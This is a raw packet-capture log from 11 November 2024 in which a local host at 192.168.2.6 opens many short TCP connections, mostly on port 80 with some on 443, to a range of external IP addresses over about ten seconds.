Nov 11, 2024 18:50:58.122024059 CET	443	54701	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:58.122189045 CET	443	54701	188.114.97.3	192.168.2.6
Nov 11, 2024 18:50:58.122226954 CET	54701	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:58.122265100 CET	54701	443	192.168.2.6	188.114.97.3
Nov 11, 2024 18:50:58.150166035 CET	54724	80	192.168.2.6	103.224.212.210
Nov 11, 2024 18:50:58.158094883 CET	80	54724	103.224.212.210	192.168.2.6
Nov 11, 2024 18:50:58.158163071 CET	54724	80	192.168.2.6	103.224.212.210
Nov 11, 2024 18:50:58.165591002 CET	54724	80	192.168.2.6	103.224.212.210
Nov 11, 2024 18:50:58.172884941 CET	80	54724	103.224.212.210	192.168.2.6
Nov 11, 2024 18:50:58.237823963 CET	54725	80	192.168.2.6	103.224.182.252
Nov 11, 2024 18:50:58.246038914 CET	80	54725	103.224.182.252	192.168.2.6
Nov 11, 2024 18:50:58.246093035 CET	54725	80	192.168.2.6	103.224.182.252
Nov 11, 2024 18:50:58.251365900 CET	54725	80	192.168.2.6	103.224.182.252
Nov 11, 2024 18:50:58.258730888 CET	80	54725	103.224.182.252	192.168.2.6
Nov 11, 2024 18:50:58.263794899 CET	49796	80	192.168.2.6	154.85.183.50
Nov 11, 2024 18:50:58.269808054 CET	80	49796	154.85.183.50	192.168.2.6
Nov 11, 2024 18:50:58.559613943 CET	80	49796	154.85.183.50	192.168.2.6
Nov 11, 2024 18:50:58.559668064 CET	49796	80	192.168.2.6	154.85.183.50
Nov 11, 2024 18:50:58.589523077 CET	49796	80	192.168.2.6	154.85.183.50
Nov 11, 2024 18:50:58.594408989 CET	80	49796	154.85.183.50	192.168.2.6
Nov 11, 2024 18:50:58.867031097 CET	80	54724	103.224.212.210	192.168.2.6
Nov 11, 2024 18:50:58.867086887 CET	54724	80	192.168.2.6	103.224.212.210
Nov 11, 2024 18:50:58.867924929 CET	80	54724	103.224.212.210	192.168.2.6
Nov 11, 2024 18:50:58.867937088 CET	80	53397	199.59.243.227	192.168.2.6
Nov 11, 2024 18:50:58.867944956 CET	80	54724	103.224.212.210	192.168.2.6
Nov 11, 2024 18:50:58.867954969 CET	80	54725	103.224.182.252	192.168.2.6
Nov 11, 2024 18:50:58.867980003 CET	54724	80	192.168.2.6	103.224.212.210
Nov 11, 2024 18:50:58.868002892 CET	54724	80	192.168.2.6	103.224.212.210
Nov 11, 2024 18:50:58.868021011 CET	53397	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:50:58.868021011 CET	54725	80	192.168.2.6	103.224.182.252
Nov 11, 2024 18:50:58.869946957 CET	54724	80	192.168.2.6	103.224.212.210
Nov 11, 2024 18:50:58.870307922 CET	54725	80	192.168.2.6	103.224.182.252
Nov 11, 2024 18:50:58.870515108 CET	49802	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:58.870759010 CET	54729	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:58.874177933 CET	80	49796	154.85.183.50	192.168.2.6
Nov 11, 2024 18:50:58.874228954 CET	49796	80	192.168.2.6	154.85.183.50
Nov 11, 2024 18:50:58.875011921 CET	80	54724	103.224.212.210	192.168.2.6
Nov 11, 2024 18:50:58.875499964 CET	80	49802	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:58.877202988 CET	80	54725	103.224.182.252	192.168.2.6
Nov 11, 2024 18:50:58.877213955 CET	80	54729	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:58.877249956 CET	54725	80	192.168.2.6	103.224.182.252
Nov 11, 2024 18:50:58.877275944 CET	54729	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:58.877432108 CET	54729	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:58.882563114 CET	80	54729	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:58.883105040 CET	49808	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:50:58.883361101 CET	54730	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:50:58.888087034 CET	80	49808	199.59.243.227	192.168.2.6
Nov 11, 2024 18:50:58.888185024 CET	80	54730	199.59.243.227	192.168.2.6
Nov 11, 2024 18:50:58.888251066 CET	54730	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:50:58.888362885 CET	54730	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:50:58.893563986 CET	80	54730	199.59.243.227	192.168.2.6
Nov 11, 2024 18:50:59.314130068 CET	80	54730	199.59.243.227	192.168.2.6
Nov 11, 2024 18:50:59.314196110 CET	54730	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:50:59.314394951 CET	80	54730	199.59.243.227	192.168.2.6
Nov 11, 2024 18:50:59.314438105 CET	54730	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:50:59.519500971 CET	80	54729	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:59.519623041 CET	54729	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:59.519627094 CET	80	54729	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:59.519639969 CET	80	54729	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:59.519670963 CET	54729	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:59.519681931 CET	54729	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:59.520042896 CET	80	54729	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:59.520056963 CET	80	54729	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:59.520111084 CET	54729	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:59.520112038 CET	54729	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:59.520466089 CET	80	54729	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:59.520478964 CET	80	54729	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:59.520489931 CET	80	54729	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:59.520545006 CET	54729	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:59.520545006 CET	54729	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:59.521085978 CET	80	54729	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:59.521099091 CET	80	54729	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:59.525322914 CET	54729	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:59.531991959 CET	80	54729	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:59.532248020 CET	80	54729	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:59.532255888 CET	54729	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:59.532371044 CET	54729	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:59.601464033 CET	80	54729	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:59.601619959 CET	80	54729	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:59.601632118 CET	80	54729	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:59.601650953 CET	54729	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:59.601952076 CET	54729	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:59.602118015 CET	80	54729	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:59.602173090 CET	54729	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:59.602859974 CET	80	54729	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:59.602871895 CET	80	54729	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:59.602883101 CET	80	54729	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:59.602911949 CET	54729	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:59.603013039 CET	54729	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:50:59.603672028 CET	80	54729	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:59.603696108 CET	80	54729	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:59.603704929 CET	80	54729	64.190.63.136	192.168.2.6
Nov 11, 2024 18:50:59.603868961 CET	54729	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:51:01.214572906 CET	53764	80	192.168.2.6	72.52.179.174
Nov 11, 2024 18:51:01.219834089 CET	80	53764	72.52.179.174	192.168.2.6
Nov 11, 2024 18:51:01.219896078 CET	53764	80	192.168.2.6	72.52.179.174
Nov 11, 2024 18:51:01.220251083 CET	53764	80	192.168.2.6	72.52.179.174
Nov 11, 2024 18:51:01.225400925 CET	80	53764	72.52.179.174	192.168.2.6
Nov 11, 2024 18:51:01.715842009 CET	80	53764	72.52.179.174	192.168.2.6
Nov 11, 2024 18:51:01.715915918 CET	53764	80	192.168.2.6	72.52.179.174
Nov 11, 2024 18:51:01.715977907 CET	53764	80	192.168.2.6	72.52.179.174
Nov 11, 2024 18:51:01.720757961 CET	80	53764	72.52.179.174	192.168.2.6
Nov 11, 2024 18:51:01.735559940 CET	53766	80	192.168.2.6	72.52.179.174
Nov 11, 2024 18:51:01.740714073 CET	80	53766	72.52.179.174	192.168.2.6
Nov 11, 2024 18:51:01.740858078 CET	53766	80	192.168.2.6	72.52.179.174
Nov 11, 2024 18:51:01.741349936 CET	53766	80	192.168.2.6	72.52.179.174
Nov 11, 2024 18:51:01.746773958 CET	80	53766	72.52.179.174	192.168.2.6
Nov 11, 2024 18:51:02.146442890 CET	53772	80	192.168.2.6	162.255.119.102
Nov 11, 2024 18:51:02.151350975 CET	80	53772	162.255.119.102	192.168.2.6
Nov 11, 2024 18:51:02.154181957 CET	53772	80	192.168.2.6	162.255.119.102
Nov 11, 2024 18:51:02.183851004 CET	53772	80	192.168.2.6	162.255.119.102
Nov 11, 2024 18:51:02.188872099 CET	80	53772	162.255.119.102	192.168.2.6
Nov 11, 2024 18:51:02.202766895 CET	53773	80	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:02.207634926 CET	80	53773	99.83.170.3	192.168.2.6
Nov 11, 2024 18:51:02.208868980 CET	53773	80	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:02.210110903 CET	53773	80	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:02.212646008 CET	53774	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:02.214989901 CET	80	53773	99.83.170.3	192.168.2.6
Nov 11, 2024 18:51:02.217706919 CET	80	53774	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:02.217767954 CET	53774	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:02.229973078 CET	53774	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:02.235754013 CET	80	53774	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:02.257040977 CET	80	53766	72.52.179.174	192.168.2.6
Nov 11, 2024 18:51:02.257245064 CET	53766	80	192.168.2.6	72.52.179.174
Nov 11, 2024 18:51:02.257534981 CET	53766	80	192.168.2.6	72.52.179.174
Nov 11, 2024 18:51:02.263144016 CET	80	53766	72.52.179.174	192.168.2.6
Nov 11, 2024 18:51:02.410123110 CET	53776	80	192.168.2.6	208.100.26.245
Nov 11, 2024 18:51:02.411164045 CET	53777	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:51:02.414974928 CET	80	53776	208.100.26.245	192.168.2.6
Nov 11, 2024 18:51:02.415050983 CET	53776	80	192.168.2.6	208.100.26.245
Nov 11, 2024 18:51:02.416268110 CET	80	53777	199.59.243.227	192.168.2.6
Nov 11, 2024 18:51:02.416435957 CET	53777	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:51:02.431566000 CET	53777	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:51:02.436651945 CET	80	53777	199.59.243.227	192.168.2.6
Nov 11, 2024 18:51:02.490645885 CET	53776	80	192.168.2.6	208.100.26.245
Nov 11, 2024 18:51:02.497884035 CET	80	53776	208.100.26.245	192.168.2.6
Nov 11, 2024 18:51:02.629034996 CET	52119	80	192.168.2.6	3.94.10.34
Nov 11, 2024 18:51:02.644588947 CET	80	53773	99.83.170.3	192.168.2.6
Nov 11, 2024 18:51:02.644661903 CET	80	52119	3.94.10.34	192.168.2.6
Nov 11, 2024 18:51:02.644675970 CET	53773	80	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:02.644742966 CET	52119	80	192.168.2.6	3.94.10.34
Nov 11, 2024 18:51:02.644942999 CET	53773	80	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:02.645026922 CET	52119	80	192.168.2.6	3.94.10.34
Nov 11, 2024 18:51:02.649893999 CET	80	52119	3.94.10.34	192.168.2.6
Nov 11, 2024 18:51:02.651643991 CET	80	53773	99.83.170.3	192.168.2.6
Nov 11, 2024 18:51:02.652604103 CET	53773	80	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:02.652961016 CET	80	53774	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:02.653220892 CET	53774	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:02.657032967 CET	52120	443	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:02.657063961 CET	443	52120	99.83.170.3	192.168.2.6
Nov 11, 2024 18:51:02.657747984 CET	52120	443	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:02.659411907 CET	80	53774	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:02.659550905 CET	53774	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:02.661029100 CET	53774	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:02.666484118 CET	80	53774	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:02.670015097 CET	52121	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:02.670021057 CET	52122	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:51:02.670552969 CET	52123	80	192.168.2.6	208.100.26.245
Nov 11, 2024 18:51:02.674902916 CET	80	52121	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:02.674913883 CET	80	52122	199.59.243.227	192.168.2.6
Nov 11, 2024 18:51:02.675009012 CET	52121	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:02.675071955 CET	52122	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:51:02.675200939 CET	52124	80	192.168.2.6	162.255.119.102
Nov 11, 2024 18:51:02.675390959 CET	80	52123	208.100.26.245	192.168.2.6
Nov 11, 2024 18:51:02.675772905 CET	52123	80	192.168.2.6	208.100.26.245
Nov 11, 2024 18:51:02.676589012 CET	52122	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:51:02.676775932 CET	52123	80	192.168.2.6	208.100.26.245
Nov 11, 2024 18:51:02.676995039 CET	52121	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:02.679945946 CET	80	52124	162.255.119.102	192.168.2.6
Nov 11, 2024 18:51:02.680696964 CET	52124	80	192.168.2.6	162.255.119.102
Nov 11, 2024 18:51:02.680701017 CET	52125	80	192.168.2.6	178.162.203.226
Nov 11, 2024 18:51:02.681401014 CET	80	52122	199.59.243.227	192.168.2.6
Nov 11, 2024 18:51:02.681536913 CET	80	52123	208.100.26.245	192.168.2.6
Nov 11, 2024 18:51:02.681833982 CET	80	52121	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:02.685029030 CET	52126	80	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:02.685753107 CET	80	52125	178.162.203.226	192.168.2.6
Nov 11, 2024 18:51:02.686229944 CET	80	53772	162.255.119.102	192.168.2.6
Nov 11, 2024 18:51:02.687438011 CET	52124	80	192.168.2.6	162.255.119.102
Nov 11, 2024 18:51:02.687438011 CET	53772	80	192.168.2.6	162.255.119.102
Nov 11, 2024 18:51:02.687442064 CET	52125	80	192.168.2.6	178.162.203.226
Nov 11, 2024 18:51:02.687581062 CET	52125	80	192.168.2.6	178.162.203.226
Nov 11, 2024 18:51:02.690100908 CET	80	52126	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:02.691116095 CET	52126	80	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:02.691417933 CET	52126	80	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:02.692812920 CET	80	52124	162.255.119.102	192.168.2.6
Nov 11, 2024 18:51:02.692843914 CET	80	52125	178.162.203.226	192.168.2.6
Nov 11, 2024 18:51:02.696727991 CET	80	52126	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:02.699528933 CET	52120	443	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:02.699561119 CET	443	52120	99.83.170.3	192.168.2.6
Nov 11, 2024 18:51:02.724939108 CET	52127	80	192.168.2.6	178.162.203.226
Nov 11, 2024 18:51:02.729906082 CET	80	52127	178.162.203.226	192.168.2.6
Nov 11, 2024 18:51:02.733166933 CET	52127	80	192.168.2.6	178.162.203.226
Nov 11, 2024 18:51:02.754053116 CET	52128	80	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:02.759136915 CET	80	52128	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:02.759383917 CET	52128	80	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:02.787517071 CET	52128	80	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:02.792390108 CET	80	52128	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:02.817025900 CET	52129	80	192.168.2.6	18.208.156.248
Nov 11, 2024 18:51:02.821933031 CET	80	52129	18.208.156.248	192.168.2.6
Nov 11, 2024 18:51:02.822252989 CET	52129	80	192.168.2.6	18.208.156.248
Nov 11, 2024 18:51:02.822654963 CET	52129	80	192.168.2.6	18.208.156.248
Nov 11, 2024 18:51:02.827889919 CET	80	52129	18.208.156.248	192.168.2.6
Nov 11, 2024 18:51:02.851334095 CET	80	53777	199.59.243.227	192.168.2.6
Nov 11, 2024 18:51:02.851399899 CET	80	53777	199.59.243.227	192.168.2.6
Nov 11, 2024 18:51:02.851433992 CET	53777	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:51:02.851632118 CET	53777	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:51:02.871604919 CET	80	53776	208.100.26.245	192.168.2.6
Nov 11, 2024 18:51:02.871819973 CET	53776	80	192.168.2.6	208.100.26.245
Nov 11, 2024 18:51:03.036108971 CET	52132	80	192.168.2.6	178.162.203.226
Nov 11, 2024 18:51:03.037019968 CET	52133	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:51:03.041081905 CET	80	52132	178.162.203.226	192.168.2.6
Nov 11, 2024 18:51:03.041887999 CET	80	52133	199.59.243.227	192.168.2.6
Nov 11, 2024 18:51:03.042418957 CET	52133	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:51:03.042427063 CET	52132	80	192.168.2.6	178.162.203.226
Nov 11, 2024 18:51:03.045324087 CET	52133	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:51:03.050333977 CET	80	52133	199.59.243.227	192.168.2.6
Nov 11, 2024 18:51:03.076699018 CET	80	52119	3.94.10.34	192.168.2.6
Nov 11, 2024 18:51:03.077020884 CET	52119	80	192.168.2.6	3.94.10.34
Nov 11, 2024 18:51:03.122396946 CET	80	52122	199.59.243.227	192.168.2.6
Nov 11, 2024 18:51:03.122451067 CET	80	52122	199.59.243.227	192.168.2.6
Nov 11, 2024 18:51:03.122596025 CET	80	52121	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:03.122626066 CET	52122	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:51:03.122914076 CET	52121	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:03.123620033 CET	80	52119	3.94.10.34	192.168.2.6
Nov 11, 2024 18:51:03.123730898 CET	52119	80	192.168.2.6	3.94.10.34
Nov 11, 2024 18:51:03.128988981 CET	80	52123	208.100.26.245	192.168.2.6
Nov 11, 2024 18:51:03.129381895 CET	52123	80	192.168.2.6	208.100.26.245
Nov 11, 2024 18:51:03.131521940 CET	80	52125	178.162.203.226	192.168.2.6
Nov 11, 2024 18:51:03.131679058 CET	80	52121	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:03.131695986 CET	52125	80	192.168.2.6	178.162.203.226
Nov 11, 2024 18:51:03.131784916 CET	52121	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:03.138339043 CET	443	52120	99.83.170.3	192.168.2.6
Nov 11, 2024 18:51:03.138484001 CET	52120	443	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:03.150044918 CET	80	52127	178.162.203.226	192.168.2.6
Nov 11, 2024 18:51:03.150134087 CET	52127	80	192.168.2.6	178.162.203.226
Nov 11, 2024 18:51:03.214816093 CET	80	52124	162.255.119.102	192.168.2.6
Nov 11, 2024 18:51:03.215054989 CET	52124	80	192.168.2.6	162.255.119.102
Nov 11, 2024 18:51:03.250683069 CET	80	52129	18.208.156.248	192.168.2.6
Nov 11, 2024 18:51:03.250811100 CET	52129	80	192.168.2.6	18.208.156.248
Nov 11, 2024 18:51:03.257227898 CET	80	52129	18.208.156.248	192.168.2.6
Nov 11, 2024 18:51:03.261482000 CET	52129	80	192.168.2.6	18.208.156.248
Nov 11, 2024 18:51:03.387069941 CET	80	52126	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:03.387343884 CET	52126	80	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:03.459768057 CET	80	52132	178.162.203.226	192.168.2.6
Nov 11, 2024 18:51:03.459856033 CET	52132	80	192.168.2.6	178.162.203.226
Nov 11, 2024 18:51:03.467180967 CET	52135	80	192.168.2.6	208.100.26.245
Nov 11, 2024 18:51:03.472173929 CET	80	52135	208.100.26.245	192.168.2.6
Nov 11, 2024 18:51:03.472280979 CET	52135	80	192.168.2.6	208.100.26.245
Nov 11, 2024 18:51:03.476097107 CET	80	52133	199.59.243.227	192.168.2.6
Nov 11, 2024 18:51:03.476165056 CET	52133	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:51:03.476470947 CET	80	52133	199.59.243.227	192.168.2.6
Nov 11, 2024 18:51:03.476509094 CET	52133	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:51:03.500051975 CET	52133	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:51:03.500087976 CET	52133	80	192.168.2.6	199.59.243.227
Nov 11, 2024 18:51:03.512835979 CET	80	52128	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:03.512904882 CET	52128	80	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:04.107654095 CET	52127	80	192.168.2.6	178.162.203.226
Nov 11, 2024 18:51:04.107790947 CET	52127	80	192.168.2.6	178.162.203.226
Nov 11, 2024 18:51:04.112710953 CET	80	52127	178.162.203.226	192.168.2.6
Nov 11, 2024 18:51:04.113400936 CET	80	52127	178.162.203.226	192.168.2.6
Nov 11, 2024 18:51:04.606121063 CET	80	54729	64.190.63.136	192.168.2.6
Nov 11, 2024 18:51:04.606188059 CET	54729	80	192.168.2.6	64.190.63.136
Nov 11, 2024 18:51:04.942608118 CET	52145	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:04.943458080 CET	52146	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:04.947671890 CET	80	52145	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:04.947741985 CET	52145	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:04.948407888 CET	80	52146	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:04.948460102 CET	52146	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:04.949095964 CET	52146	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:04.954231977 CET	80	52146	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:04.988737106 CET	52147	80	192.168.2.6	3.94.10.34
Nov 11, 2024 18:51:04.989568949 CET	52145	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:04.994235039 CET	80	52147	3.94.10.34	192.168.2.6
Nov 11, 2024 18:51:04.994318962 CET	52147	80	192.168.2.6	3.94.10.34
Nov 11, 2024 18:51:04.994530916 CET	52147	80	192.168.2.6	3.94.10.34
Nov 11, 2024 18:51:04.994599104 CET	80	52145	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:04.999918938 CET	80	52147	3.94.10.34	192.168.2.6
Nov 11, 2024 18:51:05.001646996 CET	52149	80	192.168.2.6	208.100.26.245
Nov 11, 2024 18:51:05.006628990 CET	80	52149	208.100.26.245	192.168.2.6
Nov 11, 2024 18:51:05.006694078 CET	52149	80	192.168.2.6	208.100.26.245
Nov 11, 2024 18:51:05.021907091 CET	52150	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:05.026880026 CET	80	52150	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:05.026947021 CET	52150	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:05.027436018 CET	52150	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:05.032272100 CET	80	52150	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:05.032504082 CET	52149	80	192.168.2.6	208.100.26.245
Nov 11, 2024 18:51:05.037369013 CET	80	52149	208.100.26.245	192.168.2.6
Nov 11, 2024 18:51:05.390666008 CET	80	52145	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:05.390727997 CET	52145	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:05.395109892 CET	80	52146	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:05.395317078 CET	52146	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:05.403923035 CET	80	52145	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:05.404289007 CET	52145	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:05.404445887 CET	52146	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:05.408138990 CET	80	52146	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:05.408942938 CET	52146	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:05.409301996 CET	80	52146	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:05.472032070 CET	80	52147	3.94.10.34	192.168.2.6
Nov 11, 2024 18:51:05.472085953 CET	52147	80	192.168.2.6	3.94.10.34
Nov 11, 2024 18:51:05.476411104 CET	80	52150	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:05.478887081 CET	80	52147	3.94.10.34	192.168.2.6
Nov 11, 2024 18:51:05.478957891 CET	52150	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:05.480204105 CET	52147	80	192.168.2.6	3.94.10.34
Nov 11, 2024 18:51:05.484230042 CET	80	52150	44.221.84.105	192.168.2.6
Nov 11, 2024 18:51:05.487080097 CET	52150	80	192.168.2.6	44.221.84.105
Nov 11, 2024 18:51:05.494735956 CET	80	52149	208.100.26.245	192.168.2.6
Nov 11, 2024 18:51:05.495054007 CET	52149	80	192.168.2.6	208.100.26.245
Nov 11, 2024 18:51:07.908651114 CET	52149	80	192.168.2.6	208.100.26.245
Nov 11, 2024 18:51:07.910830975 CET	52163	80	192.168.2.6	178.162.203.226
Nov 11, 2024 18:51:07.911254883 CET	52164	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:07.914233923 CET	80	52149	208.100.26.245	192.168.2.6
Nov 11, 2024 18:51:07.916191101 CET	80	52163	178.162.203.226	192.168.2.6
Nov 11, 2024 18:51:07.916249990 CET	52163	80	192.168.2.6	178.162.203.226
Nov 11, 2024 18:51:07.916261911 CET	80	52164	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:07.916313887 CET	52164	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:07.916671991 CET	52163	80	192.168.2.6	178.162.203.226
Nov 11, 2024 18:51:07.916804075 CET	52164	80	192.168.2.6	199.191.50.83
Nov 11, 2024 18:51:07.921459913 CET	80	52163	178.162.203.226	192.168.2.6
Nov 11, 2024 18:51:07.922280073 CET	80	52164	199.191.50.83	192.168.2.6
Nov 11, 2024 18:51:08.013308048 CET	80	52149	208.100.26.245	192.168.2.6
Nov 11, 2024 18:51:08.013364077 CET	52149	80	192.168.2.6	208.100.26.245
Nov 11, 2024 18:51:08.330187082 CET	52170	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:08.330770016 CET	52171	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:08.330802917 CET	443	52171	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:08.330859900 CET	52171	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:08.331768036 CET	52172	80	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:08.335169077 CET	80	52170	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:08.335226059 CET	52170	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:08.335652113 CET	52170	80	192.168.2.6	91.195.240.19
Nov 11, 2024 18:51:08.336966038 CET	80	52172	99.83.170.3	192.168.2.6
Nov 11, 2024 18:51:08.337028980 CET	52172	80	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:08.339626074 CET	52172	80	192.168.2.6	99.83.170.3
Nov 11, 2024 18:51:08.340632915 CET	80	52170	91.195.240.19	192.168.2.6
Nov 11, 2024 18:51:08.344482899 CET	80	52172	99.83.170.3	192.168.2.6
Nov 11, 2024 18:51:08.359539032 CET	80	52163	178.162.203.226	192.168.2.6
Nov 11, 2024 18:51:08.359590054 CET	52163	80	192.168.2.6	178.162.203.226
Nov 11, 2024 18:51:08.430238008 CET	52171	443	192.168.2.6	188.114.96.3
Nov 11, 2024 18:51:08.430241108 CET	52163	80	192.168.2.6	178.162.203.226
Nov 11, 2024 18:51:08.430255890 CET	443	52171	188.114.96.3	192.168.2.6
Nov 11, 2024 18:51:08.436026096 CET	80	52163	178.162.203.226	192.168.2.6
